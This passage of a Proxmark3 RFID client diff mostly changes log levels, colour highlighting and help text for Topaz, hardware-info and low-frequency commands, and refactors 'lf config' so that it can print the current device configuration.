PrintAndLogEx(NORMAL, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey))); PrintAndLogEx(SUCCESS, "Mifare ABA :\t %s", sprint_hex(dmkey, sizeof(dmkey)));
PrintAndLogEx(NORMAL, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd))); PrintAndLogEx(SUCCESS, "Mifare Pwd :\t %s", sprint_hex(newpwd, sizeof(newpwd)));
mbedtls_des3_free(&ctx); mbedtls_des3_free(&ctx);
// next. from the diversify_key method. // next. from the diversify_key method.

View file

@ -155,10 +155,12 @@ int infoThinFilm(bool verbose) {
} }
if (resp.status == PM3_SUCCESS) { if (resp.status == PM3_SUCCESS) {
if (resp.length == 16 || resp.length == 32 || verbose) { if (resp.length == 16 || resp.length == 32) {
print_barcode(resp.data.asBytes, resp.length, verbose); print_barcode(resp.data.asBytes, resp.length, verbose);
} else { } else {
PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); if (verbose)
PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length);
return PM3_ESOFT; return PM3_ESOFT;
} }
} }

View file

@ -220,14 +220,14 @@ static int topaz_print_CC(uint8_t *data) {
return PM3_ESOFT; // no NDEF message return PM3_ESOFT; // no NDEF message
} }
PrintAndLogEx(NORMAL, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]); PrintAndLogEx(SUCCESS, "Capability Container: %02x %02x %02x %02x", data[0], data[1], data[2], data[3]);
PrintAndLogEx(NORMAL, " %02x: NDEF Magic Number", data[0]); PrintAndLogEx(SUCCESS, " %02x: NDEF Magic Number", data[0]);
PrintAndLogEx(NORMAL, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f); PrintAndLogEx(SUCCESS, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f);
uint16_t memsize = (data[2] + 1) * 8; uint16_t memsize = (data[2] + 1) * 8;
topaz_tag.size = memsize; topaz_tag.size = memsize;
topaz_tag.dynamic_memory = calloc(memsize - TOPAZ_STATIC_MEMORY, sizeof(uint8_t)); topaz_tag.dynamic_memory = calloc(memsize - TOPAZ_STATIC_MEMORY, sizeof(uint8_t));
PrintAndLogEx(NORMAL, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize); PrintAndLogEx(SUCCESS, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize);
PrintAndLogEx(NORMAL, " %02x: %s / %s", data[3], PrintAndLogEx(SUCCESS, " %02x: %s / %s", data[3],
(data[3] & 0xF0) ? "(RFU)" : "Read access granted without any security", (data[3] & 0xF0) ? "(RFU)" : "Read access granted without any security",
(data[3] & 0x0F) == 0 ? "Write access granted without any security" : (data[3] & 0x0F) == 0x0F ? "No write access granted at all" : "(RFU)"); (data[3] & 0x0F) == 0 ? "Write access granted without any security" : (data[3] & 0x0F) == 0x0F ? "No write access granted at all" : "(RFU)");
return PM3_SUCCESS; return PM3_SUCCESS;
@ -301,7 +301,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) {
uint16_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint16_t bytes_per_page = 1 << (TLV_value[2] & 0x0f);
uint16_t bytes_locked_per_bit = 1 << (TLV_value[2] >> 4); uint16_t bytes_locked_per_bit = 1 << (TLV_value[2] >> 4);
uint16_t area_start = pages_addr * bytes_per_page + byte_offset; uint16_t area_start = pages_addr * bytes_per_page + byte_offset;
PrintAndLogEx(NORMAL, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.", PrintAndLogEx(SUCCESS, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.",
size_in_bits, size_in_bits,
area_start, area_start,
bytes_locked_per_bit); bytes_locked_per_bit);
@ -333,7 +333,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) {
uint16_t size_in_bytes = TLV_value[1] ? TLV_value[1] : 256; uint16_t size_in_bytes = TLV_value[1] ? TLV_value[1] : 256;
uint8_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint8_t bytes_per_page = 1 << (TLV_value[2] & 0x0f);
uint16_t area_start = pages_addr * bytes_per_page + byte_offset; uint16_t area_start = pages_addr * bytes_per_page + byte_offset;
PrintAndLogEx(NORMAL, "Reserved Memory of %d bytes at byte offset 0x%02x.", PrintAndLogEx(SUCCESS, "Reserved Memory of %d bytes at byte offset 0x%02x.",
size_in_bytes, size_in_bytes,
area_start); area_start);
reserved_memory_control_TLV_present = true; reserved_memory_control_TLV_present = true;
@ -345,11 +345,11 @@ static void topaz_print_control_TLVs(uint8_t *memory) {
} }
if (!lock_TLV_present) { if (!lock_TLV_present) {
PrintAndLogEx(NORMAL, "(No Lock Control TLV present)"); PrintAndLogEx(SUCCESS, "(No Lock Control TLV present)");
} }
if (!reserved_memory_control_TLV_present) { if (!reserved_memory_control_TLV_present) {
PrintAndLogEx(NORMAL, "(No Reserved Memory Control TLV present)"); PrintAndLogEx(SUCCESS, "(No Reserved Memory Control TLV present)");
} }
} }
@ -376,7 +376,7 @@ static int topaz_read_dynamic_data(void) {
// read and print the dynamic memory // read and print the dynamic memory
static void topaz_print_dynamic_data(void) { static void topaz_print_dynamic_data(void) {
if (topaz_tag.size > TOPAZ_STATIC_MEMORY) { if (topaz_tag.size > TOPAZ_STATIC_MEMORY) {
PrintAndLogEx(NORMAL, "Dynamic Data blocks:"); PrintAndLogEx(SUCCESS, "Dynamic Data blocks:");
if (topaz_read_dynamic_data() == 0) { if (topaz_read_dynamic_data() == 0) {
PrintAndLogEx(NORMAL, "block# | offset | Data | Locked(y/n)"); PrintAndLogEx(NORMAL, "block# | offset | Data | Locked(y/n)");
PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------");
@ -435,19 +435,19 @@ static int CmdHFTopazReader(const char *Cmd) {
} }
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "ATQA : %02x %02x", atqa[1], atqa[0]); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", atqa[1], atqa[0]);
topaz_tag.HR01[0] = rid_response[0]; topaz_tag.HR01[0] = rid_response[0];
topaz_tag.HR01[1] = rid_response[1]; topaz_tag.HR01[1] = rid_response[1];
// ToDo: CRC check // ToDo: CRC check
PrintAndLogEx(NORMAL, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)", PrintAndLogEx(SUCCESS, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)",
rid_response[0], rid_response[0],
(rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0xF0) == 0x10 ? "" : "not ",
(rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0xF0) == 0x10 ? "" : "not ",
(rid_response[0] & 0x0F) == 0x01 ? "static" : "dynamic"); (rid_response[0] & 0x0F) == 0x01 ? "static" : "dynamic");
PrintAndLogEx(NORMAL, "HR1 : %02x", rid_response[1]); PrintAndLogEx(SUCCESS, "HR1 : %02x", rid_response[1]);
status = topaz_rall(uid_echo, rall_response); status = topaz_rall(uid_echo, rall_response);
@ -458,7 +458,7 @@ static int CmdHFTopazReader(const char *Cmd) {
} }
memcpy(topaz_tag.uid, rall_response + 2, 7); memcpy(topaz_tag.uid, rall_response + 2, 7);
PrintAndLogEx(NORMAL, "UID : %02x %02x %02x %02x %02x %02x %02x", PrintAndLogEx(SUCCESS, "UID : %02x %02x %02x %02x %02x %02x %02x",
topaz_tag.uid[6], topaz_tag.uid[6],
topaz_tag.uid[5], topaz_tag.uid[5],
topaz_tag.uid[4], topaz_tag.uid[4],
@ -467,13 +467,13 @@ static int CmdHFTopazReader(const char *Cmd) {
topaz_tag.uid[1], topaz_tag.uid[1],
topaz_tag.uid[0]); topaz_tag.uid[0]);
PrintAndLogEx(NORMAL, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"), PrintAndLogEx(SUCCESS, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"),
topaz_tag.uid[6], topaz_tag.uid[6],
getTagInfo(topaz_tag.uid[6])); getTagInfo(topaz_tag.uid[6]));
memcpy(topaz_tag.data_blocks, rall_response + 2, 0x0f * 8); memcpy(topaz_tag.data_blocks, rall_response + 2, 0x0f * 8);
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":"); PrintAndLogEx(SUCCESS, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":");
PrintAndLogEx(NORMAL, "block# | offset | Data | Locked"); PrintAndLogEx(NORMAL, "block# | offset | Data | Locked");
PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------");
char line[80]; char line[80];
@ -488,7 +488,7 @@ static int CmdHFTopazReader(const char *Cmd) {
} }
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Static Reserved block " _YELLOW_("0x0D")":"); PrintAndLogEx(SUCCESS, "Static Reserved block " _YELLOW_("0x0D")":");
for (uint16_t j = 0; j < 8; j++) { for (uint16_t j = 0; j < 8; j++) {
sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0d][j]); sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0d][j]);
} }
@ -496,7 +496,7 @@ static int CmdHFTopazReader(const char *Cmd) {
PrintAndLogEx(NORMAL, " 0x%02x | 0x%02x | %s| %-3s", 0x0d, 0x0d * 8, line, "n/a"); PrintAndLogEx(NORMAL, " 0x%02x | 0x%02x | %s| %-3s", 0x0d, 0x0d * 8, line, "n/a");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Static Lockbits and OTP Bytes:"); PrintAndLogEx(SUCCESS, "Static Lockbits and OTP Bytes:");
for (uint16_t j = 0; j < 8; j++) { for (uint16_t j = 0; j < 8; j++) {
sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0e][j]); sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0e][j]);
} }
@ -507,7 +507,7 @@ static int CmdHFTopazReader(const char *Cmd) {
status = topaz_print_CC(&topaz_tag.data_blocks[1][0]); status = topaz_print_CC(&topaz_tag.data_blocks[1][0]);
if (status == PM3_ESOFT) { if (status == PM3_ESOFT) {
PrintAndLogEx(NORMAL, "No NDEF message data present"); PrintAndLogEx(SUCCESS, "No NDEF message data present");
topaz_switch_off_field(); topaz_switch_off_field();
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -528,13 +528,13 @@ static int CmdHFTopazReader(const char *Cmd) {
static int CmdHFTopazSim(const char *Cmd) { static int CmdHFTopazSim(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
PrintAndLogEx(NORMAL, "not yet implemented"); PrintAndLogEx(INFO, "not yet implemented");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdHFTopazCmdRaw(const char *Cmd) { static int CmdHFTopazCmdRaw(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
PrintAndLogEx(NORMAL, "not yet implemented. Use hf 14 raw with option -T."); PrintAndLogEx(INFO, "not yet implemented. Use hf 14 raw with option -T.");
return PM3_SUCCESS; return PM3_SUCCESS;
} }

View file

@ -86,7 +86,7 @@ static void lookupChipID(uint32_t iChipID, uint32_t mem_used) {
char asBuff[120]; char asBuff[120];
memset(asBuff, 0, sizeof(asBuff)); memset(asBuff, 0, sizeof(asBuff));
uint32_t mem_avail = 0; uint32_t mem_avail = 0;
PrintAndLogEx(NORMAL, "\n [ Hardware ] "); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Hardware ]"));
switch (iChipID) { switch (iChipID) {
case 0x270B0A40: case 0x270B0A40:
@ -447,13 +447,13 @@ static int CmdSetDivisor(const char *Cmd) {
uint8_t arg = param_get8ex(Cmd, 0, 95, 10); uint8_t arg = param_get8ex(Cmd, 0, 95, 10);
if (arg < 19) { if (arg < 19) {
PrintAndLogEx(ERR, "divisor must be between 19 and 255"); PrintAndLogEx(ERR, "divisor must be between" _YELLOW_("19") " and " _YELLOW_("255"));
return PM3_EINVARG; return PM3_EINVARG;
} }
// 12 000 000 (12MHz) // 12 000 000 (12MHz)
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_SET_DIVISOR, (uint8_t *)&arg, sizeof(arg)); SendCommandNG(CMD_LF_SET_DIVISOR, (uint8_t *)&arg, sizeof(arg));
PrintAndLogEx(SUCCESS, "Divisor set, expected %.1f kHz", ((double)12000 / (arg + 1))); PrintAndLogEx(SUCCESS, "Divisor set, expected " _YELLOW_("%.1f")" kHz", ((double)12000 / (arg + 1)));
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -514,11 +514,11 @@ static int CmdStatus(const char *Cmd) {
static int CmdTia(const char *Cmd) { static int CmdTia(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
clearCommandBuffer(); clearCommandBuffer();
PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition..."); PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition (TIA)...");
PacketResponseNG resp; PacketResponseNG resp;
SendCommandNG(CMD_TIA, NULL, 0); SendCommandNG(CMD_TIA, NULL, 0);
if (WaitForResponseTimeout(CMD_TIA, &resp, 2000) == false) if (WaitForResponseTimeout(CMD_TIA, &resp, 2000) == false)
PrintAndLogEx(WARNING, "Tia command failed. You probably need to unplug the Proxmark3."); PrintAndLogEx(WARNING, "TIA command failed. You probably need to unplug the Proxmark3.");
PrintAndLogEx(INFO, "TIA done."); PrintAndLogEx(INFO, "TIA done.");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -528,7 +528,7 @@ static int CmdPing(const char *Cmd) {
if (len > PM3_CMD_DATA_SIZE) if (len > PM3_CMD_DATA_SIZE)
len = PM3_CMD_DATA_SIZE; len = PM3_CMD_DATA_SIZE;
if (len) { if (len) {
PrintAndLogEx(INFO, "Ping sent with payload len=%d", len); PrintAndLogEx(INFO, "Ping sent with payload len = %d", len);
} else { } else {
PrintAndLogEx(INFO, "Ping sent"); PrintAndLogEx(INFO, "Ping sent");
} }
@ -539,9 +539,8 @@ static int CmdPing(const char *Cmd) {
data[i] = i & 0xFF; data[i] = i & 0xFF;
SendCommandNG(CMD_PING, data, len); SendCommandNG(CMD_PING, data, len);
if (WaitForResponseTimeout(CMD_PING, &resp, 1000)) { if (WaitForResponseTimeout(CMD_PING, &resp, 1000)) {
bool error = false;
if (len) { if (len) {
error = memcmp(data, resp.data.asBytes, len) != 0; bool error = (memcmp(data, resp.data.asBytes, len) != 0);
PrintAndLogEx((error) ? ERR : SUCCESS, "Ping response " _GREEN_("received") "and content is %s", error ? _RED_("NOT ok") : _GREEN_("OK")); PrintAndLogEx((error) ? ERR : SUCCESS, "Ping response " _GREEN_("received") "and content is %s", error ? _RED_("NOT ok") : _GREEN_("OK"));
} else { } else {
PrintAndLogEx(SUCCESS, "Ping response " _GREEN_("received")); PrintAndLogEx(SUCCESS, "Ping response " _GREEN_("received"));
@ -702,26 +701,24 @@ void pm3_version(bool verbose, bool oneliner) {
SendCommandNG(CMD_VERSION, NULL, 0); SendCommandNG(CMD_VERSION, NULL, 0);
if (WaitForResponseTimeout(CMD_VERSION, &resp, 1000)) { if (WaitForResponseTimeout(CMD_VERSION, &resp, 1000)) {
PrintAndLogEx(NORMAL, "\n" _BLUE_(" [ Proxmark3 RFID instrument ]") "\n"); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Proxmark3 RFID instrument ]"));
PrintAndLogEx(NORMAL, "\n [ CLIENT ]"); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ CLIENT ]"));
PrintAndLogEx(NORMAL, " client: RRG/Iceman"); // TODO version info? PrintAndLogEx(NORMAL, " client: RRG/Iceman"); // TODO version info?
PrintAndLogEx(NORMAL, " compiled with " PM3CLIENTCOMPILER __VERSION__ PM3HOSTOS PM3HOSTARCH); PrintAndLogEx(NORMAL, " compiled with " PM3CLIENTCOMPILER __VERSION__ PM3HOSTOS PM3HOSTARCH);
//#if PLATFORM == PM3RDV4
if (IfPm3Flash() == false && IfPm3Smartcard() == false && IfPm3FpcUsartHost() == false) { if (IfPm3Flash() == false && IfPm3Smartcard() == false && IfPm3FpcUsartHost() == false) {
PrintAndLogEx(NORMAL, "\n [ PROXMARK3 ]"); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 ]"));
} else { } else {
PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 ]"); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 ]"));
PrintAndLogEx(NORMAL, " external flash: %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " external flash: %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent"));
PrintAndLogEx(NORMAL, " smartcard reader: %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " smartcard reader: %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent"));
PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 Extras ]"); PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 Extras ]"));
PrintAndLogEx(NORMAL, " FPC USART for BT add-on support: %s", IfPm3FpcUsartHost() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " FPC USART for BT add-on support: %s", IfPm3FpcUsartHost() ? _GREEN_("present") : _YELLOW_("absent"));
if (IfPm3FpcUsartDevFromUsb()) { if (IfPm3FpcUsartDevFromUsb()) {
PrintAndLogEx(NORMAL, " FPC USART for developer support: %s", _GREEN_("present")); PrintAndLogEx(NORMAL, " FPC USART for developer support: %s", _GREEN_("present"));
} }
} }
//#endif
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");

View file

@ -68,27 +68,28 @@ static int usage_lf_cmdread(void) {
PrintAndLogEx(NORMAL, " c <cmd> Command bytes (in ones and zeros)"); PrintAndLogEx(NORMAL, " c <cmd> Command bytes (in ones and zeros)");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " ************* " _YELLOW_("All periods in microseconds (us)")); PrintAndLogEx(NORMAL, " ************* " _YELLOW_("All periods in microseconds (us)"));
PrintAndLogEx(NORMAL, " ************* Use " _YELLOW_("'lf config'") "to configure options.");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf cmdread d 80 z 100 o 200 c 11000"); PrintAndLogEx(NORMAL, " lf cmdread d 80 z 100 o 200 c 11000");
PrintAndLogEx(NORMAL, "Extras:");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters.");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_lf_read(void) { static int usage_lf_read(void) {
PrintAndLogEx(NORMAL, "Usage: lf read [h] [s] [d numofsamples]"); PrintAndLogEx(NORMAL, "Usage: lf read [h] [s] [d numofsamples]");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " h This help");
PrintAndLogEx(NORMAL, " s silent run, no printout");
PrintAndLogEx(NORMAL, " d #samples # samples to collect (optional)"); PrintAndLogEx(NORMAL, " d #samples # samples to collect (optional)");
PrintAndLogEx(NORMAL, "Use 'lf config' to set parameters."); PrintAndLogEx(NORMAL, " s silent");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000samples silent"); PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000 samples silent");
PrintAndLogEx(NORMAL, " lf read s"); PrintAndLogEx(NORMAL, " lf read");
PrintAndLogEx(NORMAL, "Extras:");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters.");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_lf_sim(void) { static int usage_lf_sim(void) {
PrintAndLogEx(NORMAL, "Simulate low frequence tag from graphbuffer."); PrintAndLogEx(NORMAL, "Simulate low frequence tag from graphbuffer.");
PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters.");
PrintAndLogEx(NORMAL, "Usage: lf sim [h] <gap>"); PrintAndLogEx(NORMAL, "Usage: lf sim [h] <gap>");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " h This help");
@ -96,16 +97,19 @@ static int usage_lf_sim(void) {
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf sim 240 - start simulating with 240ms gap"); PrintAndLogEx(NORMAL, " lf sim 240 - start simulating with 240ms gap");
PrintAndLogEx(NORMAL, " lf sim"); PrintAndLogEx(NORMAL, " lf sim");
PrintAndLogEx(NORMAL, "Extras:");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters.");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_lf_sniff(void) { static int usage_lf_sniff(void) {
PrintAndLogEx(NORMAL, "Sniff low frequence signal."); PrintAndLogEx(NORMAL, "Sniff low frequence signal.");
PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters.");
PrintAndLogEx(NORMAL, "Use " _YELLOW_("'data samples'")" command to download from device, and " _YELLOW_("'data plot'")" to look at it");
PrintAndLogEx(NORMAL, "Usage: lf sniff [h]"); PrintAndLogEx(NORMAL, "Usage: lf sniff [h]");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " h This help");
PrintAndLogEx(NORMAL, "Extras:");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters.");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'data samples'")"command to download from device");
PrintAndLogEx(NORMAL, " use " _YELLOW_("'data plot'")"to look at it");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_lf_config(void) { static int usage_lf_config(void) {
@ -117,22 +121,17 @@ static int usage_lf_config(void) {
PrintAndLogEx(NORMAL, " q <divisor> Manually set freq divisor. %d -> 134 kHz, %d -> 125 kHz", LF_DIVISOR_134, LF_DIVISOR_125); PrintAndLogEx(NORMAL, " q <divisor> Manually set freq divisor. %d -> 134 kHz, %d -> 125 kHz", LF_DIVISOR_134, LF_DIVISOR_125);
PrintAndLogEx(NORMAL, " f <freq> Manually set frequency in kHz"); PrintAndLogEx(NORMAL, " f <freq> Manually set frequency in kHz");
PrintAndLogEx(NORMAL, " b <bps> Sets resolution of bits per sample. Default (max): 8"); PrintAndLogEx(NORMAL, " b <bps> Sets resolution of bits per sample. Default (max): 8");
PrintAndLogEx(NORMAL, " d <decim> Sets decimation. A value of N saves only 1 in N samples. Default: 1"); PrintAndLogEx(NORMAL, " d <decimate> Sets decimation. A value of N saves only 1 in N samples. Default: 1");
PrintAndLogEx(NORMAL, " a [0|1] Averaging - if set, will average the stored sample value when decimating. Default: 1"); PrintAndLogEx(NORMAL, " a [0|1] Averaging - if set, will average the stored sample value when decimating. Default: 1");
PrintAndLogEx(NORMAL, " t <threshold> Sets trigger threshold. 0 means no threshold (range: 0-128)"); PrintAndLogEx(NORMAL, " t <threshold> Sets trigger threshold. 0 means no threshold (range: 0-128)");
PrintAndLogEx(NORMAL, " s <samplestoskip> Sets a number of samples to skip before capture. Default: 0"); PrintAndLogEx(NORMAL, " s <samplestoskip> Sets a number of samples to skip before capture. Default: 0");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf config"); PrintAndLogEx(NORMAL, " lf config - shows current config");
PrintAndLogEx(NORMAL, " Shows current config"); PrintAndLogEx(NORMAL, " lf config b 8 L - samples at 125 kHz, 8bps.");
PrintAndLogEx(NORMAL, " lf config b 8 L"); PrintAndLogEx(NORMAL, " lf config H b 4 d 3 - samples at 134 kHz, averages three samples into one, stored with ");
PrintAndLogEx(NORMAL, " Samples at 125 kHz, 8bps."); PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample.");
PrintAndLogEx(NORMAL, " lf config H b 4 d 3"); PrintAndLogEx(NORMAL, " lf read - performs a read (active field)");
PrintAndLogEx(NORMAL, " Samples at 134 kHz, averages three samples into one, stored with "); PrintAndLogEx(NORMAL, " lf sniff - performs a sniff (no active field)");
PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample.");
PrintAndLogEx(NORMAL, " lf read");
PrintAndLogEx(NORMAL, " Performs a read (active field)");
PrintAndLogEx(NORMAL, " lf sniff");
PrintAndLogEx(NORMAL, " Performs a sniff (no active field)");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int usage_lf_simfsk(void) { static int usage_lf_simfsk(void) {
@ -340,7 +339,7 @@ int CmdLFCommandRead(const char *Cmd) {
// bitbang mode // bitbang mode
if (payload.delay == 0) { if (payload.delay == 0) {
if (payload.zeros < 7 || payload.ones < 7) { if (payload.zeros < 7 || payload.ones < 7) {
PrintAndLogEx(WARNING, "Warning periods cannot be less than 7us in bit bang mode"); PrintAndLogEx(WARNING, "warning periods cannot be less than 7us in bit bang mode");
return PM3_EINVARG; return PM3_EINVARG;
} }
} }
@ -348,15 +347,14 @@ int CmdLFCommandRead(const char *Cmd) {
//Validations //Validations
if (errors || cmdp == 0) return usage_lf_cmdread(); if (errors || cmdp == 0) return usage_lf_cmdread();
PrintAndLogEx(SUCCESS, "Sending"); PrintAndLogEx(SUCCESS, "sending");
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen); SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen);
printf("\n");
PacketResponseNG resp; PacketResponseNG resp;
uint8_t i = 10; uint8_t i = 10;
// 20sec wait loop
while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) { while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) {
printf("."); printf(".");
fflush(stdout); fflush(stdout);
@ -366,7 +364,7 @@ int CmdLFCommandRead(const char *Cmd) {
if (resp.status == PM3_SUCCESS) { if (resp.status == PM3_SUCCESS) {
if (i) { if (i) {
PrintAndLogEx(SUCCESS, "Downloading response signal data"); PrintAndLogEx(SUCCESS, "downloading response signal data");
getSamples(0, true); getSamples(0, true);
return PM3_SUCCESS; return PM3_SUCCESS;
} else { } else {
@ -374,7 +372,7 @@ int CmdLFCommandRead(const char *Cmd) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
} }
PrintAndLogEx(WARNING, "Command failed."); PrintAndLogEx(WARNING, "command failed.");
return PM3_ESOFT; return PM3_ESOFT;
} }
@ -457,7 +455,11 @@ int lf_config(sample_config *config) {
if (!session.pm3_present) return PM3_ENOTTY; if (!session.pm3_present) return PM3_ENOTTY;
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); if (config != NULL)
SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config));
else
SendCommandNG(CMD_LF_SAMPLING_GET_CONFIG, NULL, 0);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -465,15 +467,22 @@ int CmdLFConfig(const char *Cmd) {
if (!session.pm3_present) return PM3_ENOTTY; if (!session.pm3_present) return PM3_ENOTTY;
uint8_t divisor = 0;//Frequency divisor // if called with no params, just print the device config
uint8_t bps = 0; // Bits per sample if (strlen(Cmd) == 0) {
uint8_t decimation = 0; //How many to keep return lf_config(NULL);
bool averaging = 1; // Defaults to true }
bool errors = false;
int trigger_threshold = -1;//Means no change
uint8_t unsigned_trigg = 0;
uint32_t samples_to_skip = 0; // will return offset to 0 if not supplied. Could set to 0xffffffff if needed to not update
sample_config config = {
.decimation = -1,
.bits_per_sample = -1,
.averaging = -1,
.divisor = -1,
.trigger_threshold = -1,
.samples_to_skip = -1,
.verbose = true
};
bool errors = false;
uint8_t cmdp = 0; uint8_t cmdp = 0;
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
@ -481,16 +490,16 @@ int CmdLFConfig(const char *Cmd) {
case 'h': case 'h':
return usage_lf_config(); return usage_lf_config();
case 'H': case 'H':
divisor = LF_DIVISOR_134; config.divisor = LF_DIVISOR_134;
cmdp++; cmdp++;
break; break;
case 'L': case 'L':
divisor = LF_DIVISOR_125; config.divisor = LF_DIVISOR_125;
cmdp++; cmdp++;
break; break;
case 'q': case 'q':
